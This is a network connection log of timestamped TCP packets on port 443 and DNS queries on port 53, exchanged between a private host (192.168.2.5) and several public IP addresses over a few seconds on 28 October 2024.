Oct 28, 2024 18:43:13.656184912 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.656229973 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.712457895 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.736526966 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.736645937 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.736733913 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.736747980 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.736784935 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.736803055 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.737082958 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.737133980 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.737144947 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.737288952 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.737333059 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.737341881 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.777575970 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.777669907 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.777688026 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.777724028 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.777997971 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.832173109 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.856237888 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.856323004 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.856337070 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.856374025 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.856415987 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.856425047 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.856673956 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.856724977 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.856735945 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.857029915 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.857060909 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.857075930 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.857086897 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.857378006 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.857624054 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.895710945 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.895766020 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.895796061 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.938549042 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.951848030 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.976146936 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.976183891 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.976259947 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.976295948 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.976344109 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.976465940 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.976843119 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.976880074 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.976887941 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.977013111 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:13.977050066 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:13.977056980 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:14.015593052 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:14.015625954 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:14.015697956 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:14.015733004 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:14.018281937 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:14.271997929 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:14.272089958 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:14.272120953 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:14.272136927 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:14.272146940 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:14.272169113 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:14.272192001 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:14.272690058 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:14.272733927 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:14.272741079 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:14.273060083 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:14.273108006 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:14.273113012 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:14.273211956 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:14.273257971 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:14.273381948 CET	49710	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:14.273405075 CET	443	49710	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:16.005438089 CET	49719	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:16.005513906 CET	443	49719	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:16.005599022 CET	49719	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:16.005793095 CET	49719	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:16.005805969 CET	443	49719	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:16.638947964 CET	49722	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:16.638967037 CET	443	49722	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:16.639033079 CET	49722	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:16.640492916 CET	49722	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:16.640505075 CET	443	49722	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:16.802824974 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:16.802836895 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:16.802885056 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:16.803088903 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:16.803097010 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:16.934608936 CET	63423	53	192.168.2.5	1.1.1.1
Oct 28, 2024 18:43:16.940223932 CET	53	63423	1.1.1.1	192.168.2.5
Oct 28, 2024 18:43:16.940293074 CET	63423	53	192.168.2.5	1.1.1.1
Oct 28, 2024 18:43:16.940321922 CET	63423	53	192.168.2.5	1.1.1.1
Oct 28, 2024 18:43:16.945847034 CET	53	63423	1.1.1.1	192.168.2.5
Oct 28, 2024 18:43:16.956274033 CET	443	49719	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:16.956545115 CET	49719	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:16.956572056 CET	443	49719	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:16.957597971 CET	443	49719	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:16.957654953 CET	49719	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:16.958023071 CET	49719	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:16.958086967 CET	443	49719	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:17.004132986 CET	49719	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:17.004148006 CET	443	49719	142.250.184.196	192.168.2.5
Oct 28, 2024 18:43:17.051008940 CET	49719	443	192.168.2.5	142.250.184.196
Oct 28, 2024 18:43:17.679629087 CET	53	63423	1.1.1.1	192.168.2.5
Oct 28, 2024 18:43:17.680361032 CET	63423	53	192.168.2.5	1.1.1.1
Oct 28, 2024 18:43:17.690120935 CET	443	49722	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:17.690191984 CET	49722	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:17.693627119 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:17.693883896 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:17.693891048 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:17.694506884 CET	49722	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:17.694510937 CET	443	49722	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:17.694909096 CET	443	49722	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:17.695537090 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:17.699631929 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:17.699728012 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:17.699810982 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:17.699867010 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:17.733764887 CET	49722	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:17.747349977 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:17.753540993 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:17.753546953 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:17.779360056 CET	443	49722	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:17.800415993 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:17.987915993 CET	63423	53	192.168.2.5	1.1.1.1
Oct 28, 2024 18:43:18.088087082 CET	53	63423	1.1.1.1	192.168.2.5
Oct 28, 2024 18:43:18.088139057 CET	63423	53	192.168.2.5	1.1.1.1
Oct 28, 2024 18:43:18.091037035 CET	53	63423	1.1.1.1	192.168.2.5
Oct 28, 2024 18:43:18.091104984 CET	63423	53	192.168.2.5	1.1.1.1
Oct 28, 2024 18:43:18.094347000 CET	53	63423	1.1.1.1	192.168.2.5
Oct 28, 2024 18:43:18.094404936 CET	63423	53	192.168.2.5	1.1.1.1
Oct 28, 2024 18:43:18.095670938 CET	53	63423	1.1.1.1	192.168.2.5
Oct 28, 2024 18:43:18.099395990 CET	63428	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:18.099426031 CET	443	63428	142.250.184.238	192.168.2.5
Oct 28, 2024 18:43:18.099514008 CET	63428	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:18.099868059 CET	63428	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:18.099880934 CET	443	63428	142.250.184.238	192.168.2.5
Oct 28, 2024 18:43:18.100689888 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:18.100725889 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:18.100778103 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:18.101304054 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:18.101325989 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:18.338206053 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.338378906 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.338488102 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.338542938 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.338557959 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.338596106 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.338603020 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.338648081 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.338715076 CET	443	49722	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:18.338732004 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.338738918 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.338859081 CET	443	49722	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:18.338912964 CET	49722	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:18.338948965 CET	49722	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:18.338963032 CET	443	49722	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:18.338989019 CET	49722	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:18.338994026 CET	443	49722	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:18.347518921 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.347579002 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.347587109 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.383548975 CET	63431	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:18.383570910 CET	443	63431	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:18.383650064 CET	63431	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:18.383893013 CET	63431	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:18.383904934 CET	443	63431	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:18.394309044 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.394315958 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.441180944 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.454988956 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.455209017 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.455256939 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.455265999 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.457757950 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.457806110 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.457813025 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.464246988 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.464292049 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.464298964 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.471209049 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.471263885 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.471270084 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.519308090 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.519319057 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.566194057 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.571827888 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.574630976 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.574675083 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.574688911 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.577378988 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.577430964 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.577438116 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.580890894 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.580965996 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.580974102 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.588018894 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.588078022 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.588084936 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.628861904 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.631067038 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.675568104 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.675579071 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.688836098 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.688966036 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.689016104 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.689026117 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.689063072 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.692415953 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.695440054 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.697145939 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.697154045 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.700023890 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.700072050 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.700082064 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.705395937 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.705439091 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.705447912 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.748827934 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.748876095 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.748891115 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.789849043 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.805830956 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.808691978 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.808763027 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.808784008 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.814094067 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.814209938 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.814265013 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.814275980 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.814320087 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.818459034 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.824703932 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.826643944 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.826662064 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.864896059 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.864948034 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.864999056 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.865020037 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.865058899 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.914520979 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:18.914633989 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:18.922946930 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.925457001 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.925510883 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.925539970 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.928913116 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.929200888 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.929209948 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.931209087 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.932857990 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.932868958 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.940809011 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.941683054 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.941694021 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.982811928 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.982897997 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.982909918 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.983009100 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.983616114 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:18.983623981 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:18.984997988 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:18.985024929 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:18.985315084 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.004251957 CET	443	63428	142.250.184.238	192.168.2.5
Oct 28, 2024 18:43:19.035104990 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:19.039618969 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.042530060 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.046442986 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.046689034 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.046751022 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:19.046761990 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.046811104 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:19.048113108 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.050802946 CET	63428	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:19.057701111 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.057773113 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.057835102 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:19.057847023 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.057884932 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:19.099898100 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.100059986 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.100101948 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.100106955 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:19.100121021 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.100294113 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.100339890 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:19.100347996 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.100389004 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:19.116322041 CET	63428	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:19.116329908 CET	443	63428	142.250.184.238	192.168.2.5
Oct 28, 2024 18:43:19.116911888 CET	443	63428	142.250.184.238	192.168.2.5
Oct 28, 2024 18:43:19.116990089 CET	63428	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:19.117647886 CET	443	63428	142.250.184.238	192.168.2.5
Oct 28, 2024 18:43:19.117717028 CET	63428	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:19.118766069 CET	63428	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:19.118827105 CET	443	63428	142.250.184.238	192.168.2.5
Oct 28, 2024 18:43:19.118932962 CET	63428	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:19.118938923 CET	443	63428	142.250.184.238	192.168.2.5
Oct 28, 2024 18:43:19.118953943 CET	63428	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:19.123022079 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.159688950 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.160109043 CET	63428	443	192.168.2.5	142.250.184.238
Oct 28, 2024 18:43:19.160120964 CET	443	63428	142.250.184.238	192.168.2.5
Oct 28, 2024 18:43:19.163377047 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.163758993 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.163805008 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.163810015 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:19.163819075 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.163856983 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:19.166134119 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.166335106 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.166412115 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:19.166418076 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.166695118 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.166774035 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:19.201018095 CET	49724	443	192.168.2.5	142.250.186.174
Oct 28, 2024 18:43:19.201031923 CET	443	49724	142.250.186.174	192.168.2.5
Oct 28, 2024 18:43:19.233678102 CET	443	63431	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:19.233763933 CET	63431	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:19.283541918 CET	63431	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:19.283555031 CET	443	63431	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:19.283932924 CET	443	63431	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:19.285448074 CET	63431	443	192.168.2.5	184.28.90.27
Oct 28, 2024 18:43:19.331343889 CET	443	63431	184.28.90.27	192.168.2.5
Oct 28, 2024 18:43:19.593614101 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.593647957 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.593657017 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.593720913 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.593723059 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.593772888 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.593795061 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.593826056 CET	443	63429	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:19.593847036 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.593847036 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.593847036 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.593868971 CET	63429	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:19.594696045 CET	443	63428	142.250.184.238	192.168.2.5
